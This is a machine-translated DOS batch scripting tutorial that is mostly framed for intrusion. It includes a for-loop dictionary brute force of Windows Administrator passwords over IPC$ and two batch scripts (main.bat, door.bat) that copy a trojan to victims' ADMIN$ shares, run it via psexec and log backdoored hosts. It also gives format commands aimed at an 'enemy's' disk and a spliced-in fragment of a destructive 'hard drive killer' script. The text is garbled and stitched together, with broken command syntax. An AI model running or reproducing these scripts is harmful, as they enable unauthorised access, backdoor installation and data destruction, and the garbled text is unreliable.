Go to: DOS batch processing script language

Source: Internet
Author: User
Tags eol

1. Introduction to simple batch processing internal commands
1. Echo command
Enable or disable the request echo function or display messages. If no parameters exist, the echo command displays
Previous echo settings.
Syntax
Echo [{on off}] [Message]
Sample: @ echo off/ECHO Hello World
In actual application, we will close this command and the redirection symbol (also known as the pipeline symbol) with >>> ^.
To input some commands to a file in a specific format. This will be reflected in future examples.
2. @ command
Indicates that the command after @ is not displayed. During the intrusion process (for example, the enemy's hard disk is formatted using batch processing ),
The other party cannot see the commands you are using.
Sample: @ echo off
@ ECHO now initializing the program, please wait a Minite...
@ Format X:/Q/u/AutoSet (the/y parameter cannot be used for the format command. Fortunately
Microsoft left an AutoSet parameter for us. The effect is the same as that of/Y .)
3. Goto command
Specify to jump to the tag. After the tag is found, the program processes the commands starting from the next line.
Syntax: goto label (label is a parameter that specifies the rows in the batch processing program to be switched .)
Sample:
If {% 1 }={} goto noparms
If {% 2 }={} goto noparms
It will be explained in detail .)
@ REM check parameters if null show usage
: Noparms
Echo usage: monitor. Bat serverip portnumber
Goto end
The name of a tag can be used as needed, but it is better to have a meaningful letter. Add a letter before it to indicate the word.
The parent is the tag, and The Goto command is based on this: to find the next step and jump to it. It's better to say that you don't
People seem to understand your intentions.
4. Rem command
The annotation command is equivalent to/* -------- */in C. It is not executed, but serves as a comment.
It is easy for others to read and modify.
Rem message
Sample: @ REM here is the description.
5. Pause command
When running the pause command, the following message is displayed:
Press any key to continue...
Sample:
@ Echo off
: Begin
Copy A: *. * D:/back
Echo please put a new disk into driver

Pause
Goto begin
In this example, all files on drive a's disk are copied to drive D:/back. Note prompt displayed
When you place another disk in drive a, the pause command will suspend the program so that you can change the disk and then press
CMK continues processing.
6. Call Command
Call another batch processing program from one batch processing program without terminating the parent batch processing program. Call Command acceptance
The tag used to call the target. If a call is used outside a script or batch file, it does not work in the command line.

Syntax
Call [[drive:] [path] filename [batchparameters] [: Label [arguments]
Parameters
[Drive:} [path] filename
Specifies the location and name of the batch processing program to be called. The filename parameter must have. bat or. CMD extensions.
Name.
7. Start command
Call an external program. All the DOS commands and command line programs can be called by the START command.
Common Intrusion parameters:
Minimum window size when Min starts
Separate starts a 16-bit windows program in a separate space
High starts applications in the high priority category
Realtime starts applications in the realtime priority category
Wait starts the application and waits for it to end
Parameters: these are parameters sent to the command/program.
When the executed application is a 32-bit GUI application, cmd. EXE returns a command when the application is terminated.
. If it is executed in the Command Script, the new behavior will not occur.
8. Choice command
Choice uses this command to allow users to enter a single character to run different commands. Add/
C: parameter. C: Enter the characters that can be entered with no space. Its return code is 1234 ......
For example: choice/C: dimethyl defrag, mem, end
Will display
Defrag, mem, end [d, M, E]?
Sample:
The content of sample. bat is as follows:
@ Echo off
Choice/C: dimethyl defrag, mem, end
If errorlevel 3 goto defrag (the highest error code should be determined first)
If errorlevel 2 goto mem
If errotlevel 1 goto end
: Defrag
C:/DOS/defrag
Goto end
: Mem
Mem
Goto end
: End
Echo good bye
After this file is run, defrag, mem, end [d, M, E]? You can select d m e, and then the if statement will
Output judgment. D indicates the program segment with the execution label as defrag, M indicates the program segment with the execution label as MEM, and E indicates the Execution Standard.
It is the end segment, and each segment finally jumps the program to the end label with Goto end, and the program will display
Good bye. The file ends.
9. If command
If indicates whether the specified conditions are met, and then different commands are executed. There are three formats:
1. If "parameter" = "string" command to be executed
If the parameter is equal to the specified string, the condition is true. Run the command. Otherwise, run the next sentence. (Note that there are two
Equal sign)
For example, if "% 1" = "A" format:
If {% 1 }={} goto noparms
If {% 2 }={} goto noparms
2. If exist file name command to be executed
If a specified file exists, the condition is true. Run the command. Otherwise, run the next sentence.
For example, if exist config. sys edit config. sys
3. If errorlevel/if not errorlevel number command to be executed
If the return code is equal to the specified number, the condition is true. Run the command. Otherwise, run the next sentence.
For example, if errorlevel 2 goto X2
When a DOS program is running, a number is returned to DOS, which is called the error code errorlevel or return code. Common
The return code is 0 and 1.
10. For command
The for command is a complex command. It is mainly used to execute commands cyclically within a specified range of parameters.
When using the for command in a batch file, use % variable to specify the variable
For {% variable} In (SET) do command [commandlineoptions]
% Variable specifies a single letter replaceable parameter.
(SET) specifies one or more files. Wildcard characters can be used.
Command specifies the Command executed on each file.
Command-parameters specifies a parameter or command line switch for a specific command.
When using the for command in a batch file, use % variable to specify the variable
Instead of % variable. Variable names are case sensitive, so % I is different from % I
If the command extension is enabled, the following additional for command formats are subject
Supported:
For/d % variable in (SET) do command [command-parameters]
If the set contains wildcards, it is specified to match the directory name instead of the file name.
For/R [[drive:] path] % variable in (SET) do command [command-
Check the directory tree with [drive:] path as the root and point to the for statement in each directory. If no
If a specified directory exists, the current directory is used. If the set is only a single point (.) character, the directory tree is enumerated.
For/L % variable in (START, step, end) do command [command-Para
This set indicates a sequence of numbers from start to end in incremental form.
Therefore, (, 5) will generate the sequence 1 2 3 4 5, (5,-) will generate
Sequence (5 4 3 2 1 ).
For/f ["options"] % variable in (file-set) do command
For/f ["options"] % variable in ("string") do command
For/f ["options"] % variable in (command) do command
Or, if usebackq is available:
For/f ["options"] % variable in (file-set) do command
For/f ["options"] % variable in ("string") do command
For/f ["options"] % variable in (command) do command
Filenameset is one or more file names. Continue to filenameset
Before the next file, each file has been opened, read, and processed.
Processing includes reading files, dividing them into lines of text, and then dividing each line
It is parsed into zero or more symbols. Then use the variable value of the found symbol string
Call the for loop. By default,/F is separated by each row of each file.
. Skip blank lines. You can specify the Optional options"
The parameter replaces the default parsing operation. This quoted string contains one or more
Specify keywords for different resolution options. These keywords are:
EOL = C-refers to the end of a line comment character (just one)
Skip = N-indicates the number of rows ignored at the beginning of the file.
Delims = xxx-refers to the delimiter set. This replaces the space and the hop key.
Default delimiter set.
Tokens = x, y, M-n-indicates which symbol of each row is passed to each iteration.
For itself. This causes
Format is a range. Specify m using the nth symbol
The asterisks of the last character in the symbol string,
Then the extra variables will be parsed In the last symbol
Distribute and accept reserved text of rows.
Usebackq-specify that the new syntax is used in the following situations:
Run a character string that is enclosed in quotation marks as a character string for the command and allow the use in FI.
Double quotation marks are used to expand the file name.
Sample1:
For/F "EOL =; tokens = 2, 3 * delims =," % I in (myfile.txt) do command
Analyzes each row in myfile.txt, ignores the rows whose names start with semicolons, and returns the second and
The three symbols are passed to the for program body. Use commas and/or spaces to specify the delimiter. Note that the for program Body Language
Reference % I to get the second symbol, reference % J to get the third symbol, reference % K to get the third symbol
All remaining symbols. For file names with spaces, you must enclose them in double quotation marks. To use this
To use double quotation marks, you also need to use the usebackq option. Otherwise, double quotation marks are interpreted as being used as definitions.
The string to be analyzed.
% I is specified in the for statement. % J and % K are
Tokens = the option is specifically described. You can use tokens = to specify a maximum of 26 symbols for a row, as long
The following example shows a variable higher than the letter Z or Z. Remember that the for variable is a single letter, case sensitive, and global
At the same time, not more than 52 are in use.
You can also use for/F to analyze the logic of adjacent strings by using the F
Include ilenameset. In this way, the string is treated as a single input line in a file.
Finally, you can use the for/F command to analyze the command output. The method is to insert the filenames
Et is converted into an anti-string. This string will be passed to a sub-cmd. EXE as a command line, and its output will be
It is captured into the memory and analyzed as a file. Therefore, the following example:
For/F "usebackq delims =" % I in ('set') Do @ echo % I
The names of environment variables in the current environment are enumerated.
In addition, the replacement of the for variable reference has been enhanced. You can now use the following
Option Syntax:
~ I-delete any quotation marks (") and expand % I
% ~ Fi-extend % I to a fully qualified path name
% ~ Di-only expand % I to one drive letter
% ~ Pi-only expand % I to one path
% ~ Ni-only expand % I to one file name
% ~ Xi-only expand % I to one file extension
% ~ The SI-extended path contains only short names.
% ~ Ai-extend % I to file attributes
% ~ Ti-extend % I to the date/time of the file
% ~ Zi-expand % I to the file size
% ~ $ Path: I-find the directory of the environment variable in the path and extend % I to the first fully qualified
. If the environment variable is not defined or the file is not found, this key combination expands the Null String
You can combine modifiers to get multiple results:
% ~ DPI-only expand % I to one drive letter and Path
% ~ Nxi-only expand % I to one file name and extension
% ~ FSI-only expand % I to a complete path name with a short name
% ~ DP $ path: I-find the directory of the Environment Variable listed in the path, and expand % I to the first drive found
And path.
% ~ Ftzai-extended % I to the Dir similar to the output line
In the preceding example, % I and path can be replaced by other valid values. % ~ Syntax
Terminate with a valid for variable name. Selecting an uppercase variable name similar to % I is easier to read and avoid
Lowercase key combination obfuscation.
The above is the official help of Ms. Here are a few examples to illustrate the use of the for command in intrusion.

Sample2:
Use the for command to crack the brute-force password of a target Win2k host.
We use net use // ip/IPC $ "password"/u: "Administrator" to try this operation with the target host.
Connection. When the connection is successful, write down the password.
The main command is: For/f I % in (dict.txt) Do net use // ip/IPC $ "I %"/u :"
Administrator"
Use iadminto encrypt the adminpassword, and use the net use command to connect the I % value in dict.txt. Then
The program running result is passed to the find command --
For/f I % in (dict.txt) Do net use // ip/IPC $ "I %"/u: "Administrator" fi
Nd ": the command is successfully completed"> D:/OK .txt, so ko is finished.
Sample3:
Have you ever had a large number of bots waiting for you to plant backdoors and Trojans ?, When the number is very large
A very happy thing will become very depressing :). When talking about using batch files at the beginning of the article, you can simplify the daily or
Repetitive tasks. So how to implement it? Well, you will understand it later.
There is only one main command: (when using the for command in the batch processing file, specify the variable to use % variab
Le)
@ For/F "tokens = 1, 2, 3 delims =" % I in (victim.txt) do start call door. bat
% I % J % K
For the tokensusage method, see the example sample1. Here, upload the content in victim.txt in sequence.
Give the parameter % I % J % K in door. bat.
However, cultivate. Bat simply uses the net use command to establish an IPC $ connection and copy the trojan + backdoor to the vict.
Im, then use the return code (if errorlever =) to filter the host that successfully planted the backdoor, and echo it out, or E
Cho to the specified file.
The content in delims = effecvivtim.txt is separated by an empty space. You must understand this as well.
What is the content in victim.txt. It should be arranged according to the objects represented by % I % J % K, which is generally
IP password username.
Code prototype:
--------------- Cut here then save as a batchfile (I call it main. BAT )---
------------------------
@ Echo off
@ If "% 1" = "" Goto usage
@ For/F "tokens = 1, 2, 3 delims =" % I in (victim.txt) do start call ipchack.
Bat % I % J % K
@ Goto end
: Usage
@ Echo run this batch in DOS modle. Or just double-click it.
: End
--------------- Cut here then save as a batchfile (I call it main. BAT )---
------------------------
----------------- Cut here then save as a batchfile (I call it door. BAT)
-----------------------------
@ Net use // % 1/IPC $ % 3/u: "% 2"
@ If errorlevel 1 goto failed
@ Echo trying to establish the IPC $ connection ............ OK
@ Copy windrv32.exe // % 1/ADMIN $/system32 & if not errorlevel 1 echo IP % 1 U
Ser % 2 PWD % 3> ko.txt
@ Export xec // % 1 C:/winnt/system32/windrv32.exe
@ Export xec // % 1 Net start windrv32 & if not errorlevel 1 echo % 1 backdoored>
> Ko.txt
: Failed
@ Echo sorry can not connected to the victim.
----------------- Cut here then save as a batchfile (I call it door. BAT )--
------------------------------
This is just an example of automatic post-planting door batch processing, two batch processing and post-door program (windrv32.exe), P
Sexec.exe must be placed in a unified directory. Batch Processing content
Still scalable, such as adding the log clearing + DDoS function and adding the user's function at regular intervals.
It provides the automatic propagation function (worm). We will not describe it here. If you are interested, you can study it on your own.
2. How to Use parameters in batch files
Parameters can be used in batch processing, generally from 1% to 9%. shift is required when multiple parameters exist.
This is rare, so we will not consider it.
Sample1: fomat. bat
@ Echo off
If "% 1" = "A" format:
: Format
@ Format A:/Q/u/auotset

@ Echo Please insert another disk to driver.
@ Pause
@ Goto fomat
This example is used to consecutively format several floppy disks. Therefore, you must enter fomat. bat a in the DOS window,
Oh, it seems a little superfluous ~ Pai_^
Sample2:
When we want to establish an IPC $ connection location, we always need to input a large number of commands. If this is not the case, we will make a mistake.
It is better to write some fixed commands into a batch, and assign the IP password username of the BOT farm to this
Batch processing.
@ Echo off
@ Net use // 1%/IPC $ "2%"/u: "3%" NOTE: Here password is the second parameter.
@ If errorlevel 1 echo connection failed
How about using parameters? You must have learned ^_^. No. 3.
3. How to Use compound command)
1 .&
Usage: The First Command and the second command [& the third command...]
This method can be used to execute multiple commands at the same time, regardless of whether the command is successfully executed.
Sample:
C:/> dir Z: & dir C:/ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume serial number is 0078-59fb
Directory of C:/ex4rch

.
.. 14 sometips.gif
3.
Usage: The First Command, the second command [the third command...]
This method can be used to execute multiple commands at the same time. When the correct command is executed, the subsequent commands will not be executed,
If no correct command is displayed, all commands are executed;
Sample:
C:/ex4rch> dir sometips.gif del sometips.gif
Volume in drive C has no label.
Volume serial number is 0078-59fb
Directory of C:/ex4rch
14 sometips.gif
1 file (s) 14 bytes
0 Dir (s) 768,696,320 bytes free
Examples of combined commands:
Sample:
@ Copy trojan.exe // % 1/ADMIN $/system32 & if not errorlevel 1 echo IP % 1 us
Er % 2 pass % 3> victim.txt
Iv. Use of pipeline commands
1. Commands
Usage: The First Command, the second command [the third command...]
Use the result of the first command as a parameter of the second command. Remember that this method is common in UNIX.

Sample:
Time/T> D:/IP. Log
Netstat-n-p tcp find ": 3389"> D:/IP. Log
Start Explorer
See it? For the terminal service, we can customize the starting program for the user to enable the user to run
To obtain the IP address of the logon user.
2.>,> output redirection command
Redirects the output result of a command or program to a specific file. The difference between> and> is that> clear
In addition to calling the content in the original file, write the content to the specified file, and> only append the content to the specified file without changing its
.
Sample1:
Echo Hello World> C:/hello.txt (stupid example ?)
Sample2:
Nowadays, DLL Trojans are prevalent. We know that system32 is a good place to hide and seek. Many Trojans have been pointed to their heads.
There is no exception to the DLL horse drill. To solve this problem, after installing the system and necessary applications, we can
The directory's exe and DLL files are recorded as follows:
Run cmd -- convert the directory to system32 -- dir *. EXE> exeback.txt & dir *. dll> dllback.txt
,
In this example, the names of all exeand DLL files are recorded separately to exeback.txtand dllback.txt,
If an exception is found in the future but the problem cannot be found using the traditional method, consider whether the system has already penetrated the DLL
Ma.
In this case, we use the same command to record the exeand dllfiles under system32to another exeback1.txt and DL
In lback1.txt, and then run:
CMD -- FC exeback.txt exeback1.txt> diff.txt & FC dllback.txt dllback1.txt> Di
Ff.txt. (use the FC command to compare the two DLL and exe files before and after, and input the results to ne?
Echo.
Echo regards,
Echo.
Echo Munga Bunga
: End
Rem hard drive killer Pro version 4.0, enjoy !!!!
Rem Author: Munga Bunga-from Australia, the land full of retarded Austra
Lians (help me get out of here ).
No. 7

Common commands
Echo, @, call, pause, and REM are the most common commands for batch file processing.
. Echo indicates the characters after this command
Echo off indicates that after this statement, all running commands do not display the command line itself.
@ Is similar to echo off, but it is added at the top of other command lines, indicating that the command line itself is not displayed during running.

Call calls another batch file. (If you call another batch file directly, the file cannot be executed.
Execute Subsequent commands of the current file)
Running pause will be paused, and press any key to continue...

Rem indicates that the character after this command is interpreted as a line. If it is not executed, it will only be used for future search.

For example, use Edit to edit the. BAT file, enter the following content, and save the disk as C:/a. bat. After executing the batch processing file, you can
Implementation: Write all files in the root directory to a.txt, start UCDOS, and enter WPS and other functions.

The content of the batch file is: file representation:

Echo off command line not displayed
Dir C:/*. *> a.txt: Write the C-drive file into a.txt.
Call C:/UCDOS. Bat call UCDOS
Echo Hello show "hello"
Pause pause and wait for the button to continue
Rem uses WPS annotation to use WPS
Cd ucdos enters the UCDOS directory
WPS use WPS

You can also use parameters in a batch file like the C language, which requires only one parameter identifier %.

% Indicates a parameter. A parameter is a string added after the file name when a batch file is run. Variables can be changed from % 0
% 9, % 0 indicates the file name itself, and the string is represented in the order of % 1 to % 9.

For example, C: the name of the processing file in the root directory is F. bat, and the content is format % 1.
If C:/> f a: is executed, format:

Another example is C: The name T. bat of the batch of files processed in the root directory, and the content is type % 1 type % 2.

Run C:/> T a.txt B .txt to display the contents of a.txt and B .txt in sequence.
In addition, each time the computer starts, it will look for the autoexec. bat batch file to execute
The command to be executed, such as setting the path, loading the mouse drive, and disk acceleration smartdrv, can enable your
The computer is truly automated.

Special commands

If goto choice for is a relatively advanced command in the batch processing file, if you are familiar with these commands,
You are an expert in batch file processing. If indicates whether the specified conditions are met, and then the execution of different
Command. There are three formats:
1. If "parameter" = "string" command to be executed
If the parameter is equal to the specified string, the condition is true. Run the command. Otherwise, run the next sentence. (Note that there are two equal signs.
)
For example, if "% 1" = "A" format:

2. If exist file name command to be executed
If a specified file exists, the condition is true. Run the command. Otherwise, run the next sentence. For example, if exist config. sys
Edit config. sys

3. If errorlevel: command to be executed
If the return code is equal to the specified number, the condition is true. Run the command. Otherwise, run the next sentence. For example, if errorleve
L 2 goto X2 a number will be returned to dos when the DOS program is running, which is called the error code errorlevel or returned
Code

When the Goto batch file runs here, it will jump to the label specified by Goto, which is generally used with if. For example:

Goto end

: End
Echo this is the end

The label is represented by a string. The row where the label is located is not executed.

Choice uses this command to allow users to enter a single character to run different commands. The/C: parameter should be added for use.
Number, C: Enter the characters that can be entered, and there is no space between them. Its return code is 1234 ......

For example: choice/CME defrag, mem, end
Will display
Defrag, mem, end [d, M, E]?

For example, the content of test. bat is as follows:
@ Echo off
Choice/CME defrag, mem, end
If errorlevel 3 goto defrag, first judge the highest error code.
If errorlevel 2 goto mem
If errotlevel 1 goto end

EFRAG
C:/DOS/defrag
Goto end
: Mem
Mem
Goto end
: End
Echo good bye
After this file is run, defrag, mem, end [d, M, E]? You can select d m e, and then the if statement will make
Judgment: D indicates the program segment whose execution label is defrag, M indicates the program segment whose execution label is MEM, and E indicates the execution label.
Is the end segment, each segment finally jumps the program to the end label with the Goto end, and then the program will display go
Od bye. The file ends.
For Loop Command, as long as the conditions match, it will execute the same command multiple times.
Format: For [% F] In (SET) do [command]
If the parameter F is in the specified set, the condition is true and the command is executed.
If one batch file contains one row:
For % C in (*. bat *. txt) do type % C
It indicates that if a file ends with bat or TXT, the file content is displayed.
Autoexec. bat
DOS automatically runs the autoexec. BAT file at startup. Generally, we load the required programs
Such as path, smartdrv, mouse, mscdex ),
Doskey and set.
If the root directory of the boot disk does not contain this file, the computer will ask the user to enter the date and time.
For example, a typical autoexec. Bat content is as follows:
@ Echo off command line not displayed
Prompt $ p $ G set a directory prompt before the prompt
Path C:/DOS; C:/windows; C:/UCDOS; C:/tools
Lh c:/DOS/doskey.com load keyboard Management
Lh c:/mouse/mouse.com load mouse Management
Lh c:/DOS/smartdrv.exe load disk acceleration Management
Lh c:/DOS/mscdex/S/D: mscd000/M: 12/V loaded CD-ROM driver
Set temp = C:/temp
If-exist

First, use NotePad to create a file with the following content:
@ Echo off
If exist/autoexec. bat type/autoexec. bat
If not exist/autoexec. Bat echo/autoexec. bat does not exist
Save the file test. bat on drive C.
Then execute the command
C:/> test1.bat
In this case, if there is content in autoexec. bat, it will be displayed.
Create another file with the following content:
@ Echo off
If exist % 1 type % 1
If not exist % 1 echo % 1 does not exist
It is also stored in drive C, with the file name test2.bat
Then execute the command
C:/> Test2 autoexec. bat
Similarly, if there is content in autoexec. bat, it will be displayed.
Note:
1. If exist is used to test whether a file exists in the format
If exist [path + file name] command
2. In the second file, % 1 is the parameter. Dos allows Passing 9 batch parameter information to the batch file, which is % 1
--------- % 9. I want to know the relationship between the real parameter and the form parameter. % 1 is the form parameter, and autoexec. bat is the real parameter.
Furthermore, create a file named ABC. bat with the following content:
If '% 1' = 'A' echo Xiao
If '% 1' =' B 'echo Tian
If '% 1' = 'C' echo Xin
Run C:/> ABC. bat a B c
The screen displays C:/> xiaotianxia
If you execute C:/> ABC. bat a B
The screen displays C:/> Xiaotian
DOS attaches an empty string to parameter % 3.
You can place not between the IF and condition to indicate if to execute a command when the condition is false.
Note: This command can be directly run under DOS.
IF-ERRORLEVEL
Use NotePad to create a file Xiao. bat with the following content:
@ Echo off
Xcopy C:/autoexec. Bat D :/
If errorlevel = 0 ECHO, the file is successfully copied.
Then execute the file
C:/> Xiao. bat
If the file is successfully copied, the screen displays: successfully copied
If errorlevel is used to test the return value of the previous DOS command. Note that it is only the return value of the previous command.
Therefore, the following batch processing files are incorrect.
@ Echo off
Xcopy C:/autoexec. Bat D :/
If errorlevel = 0 ECHO, the file is successfully copied.
If errorlevel = 1 echo the copied file is not found
If errorlevel = 2 Echo: the user uses Ctrl-C to stop the copy operation.
If errorlevel = 3 Echo preset Error Blocking file copy operation
If errorlevel = 4 echo disk write error during copy
Whether the copy is successful or not, the following:
Copy file not found
You can use ctrl-C to stop the copy operation.
Preset errors prevent file copy operations
An error occurred while writing the disk during the copy process.
Are displayed.
Note: This command can be directly input in DOS.
For example:
C:/> xcopy/autoexec. Bat D :/
Then you can execute
C:/> If errorlevel = 0 ECHO, the file is successfully copied.
If successful, the screen displays:
Successfully copied the file.

The return values of several common commands are as follows:
Backup
Exit status meaning
0 successfully backed up
1 backup file not found
2. File Sharing conflicts prevent backup from being completed
3. Use Ctrl-C to stop the backup.
4. the backup operation is aborted due to a fatal error.
Diskcomp
Exit status meaning
0 disks are the same
1 disk is different
2. You can use ctrl-C to stop the comparison operation.
3. The comparison operation is aborted due to a fatal error.
4 preset error abort comparison
Diskcopy
Exit status meaning
0 disk copy operation successful
1 non-fatal disk read/write error
2. You can use ctrl-C to end the copy operation.
3. the disk copy is aborted due to a fatal processing error.
4. The copy operation is blocked due to a preset error.
Format
Exit status meaning
0: formatted successfully.
3. Use Ctrl-C to stop formatting.
4. The format is aborted due to a fatal processing error.
5. When "Proceed with format (y/n)?" is displayed )?" End with user input n
Xopy
Exit status meaning
0 successfully copied the file
1 copy file not found
2. You can use ctrl-C to stop the copy operation.
4. preset errors prevent file copy operations
5. An error occurred while writing the disk during the copy process.

If String = string

First, use NotePad to create a file named Xiao. bat. The file content is as follows:
@ Echo off
If "% 1" = "A" format:
Then execute
C:/> Xiao
Whether to format the: disk is displayed on the screen.
The statement format is
If "parameter" = "string" command to be executed
If the parameter is equal to the specified string, the condition is true. Run the command. Otherwise, run the next sentence.
Note: This is the only option for direct use under DOS.
C:/> if "A" = "A" format:
Meaningless.

Goto

First, use NotePad to create a file named Xiao. bat. The file content is as follows:
@ Echo off
If exist C:/autoexec. Bat goto KB
: KB
Copy C:/autoexec. Bat D :/
: Done
Note:
1. The label is preceded by a colon (:)
2. the last line of the label is: Dong
3. Dos supports a maximum of eight labels. When two labels cannot be distinguished, the last one is redirected.

For
First, use NotePad to create a file named Xiao. bat. The file content is as follows:
@ Echo off
For % C in (*. bat *. txt *. sys) do type % C
Then execute
C:> Xiao. bat
After the execution, all files with the *. bat *. txt *. sys extension in drive C will be displayed on the screen,
Of course, this does not include hidden files.
Note: character % C indicates the for command variable. For supports wildcards.

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.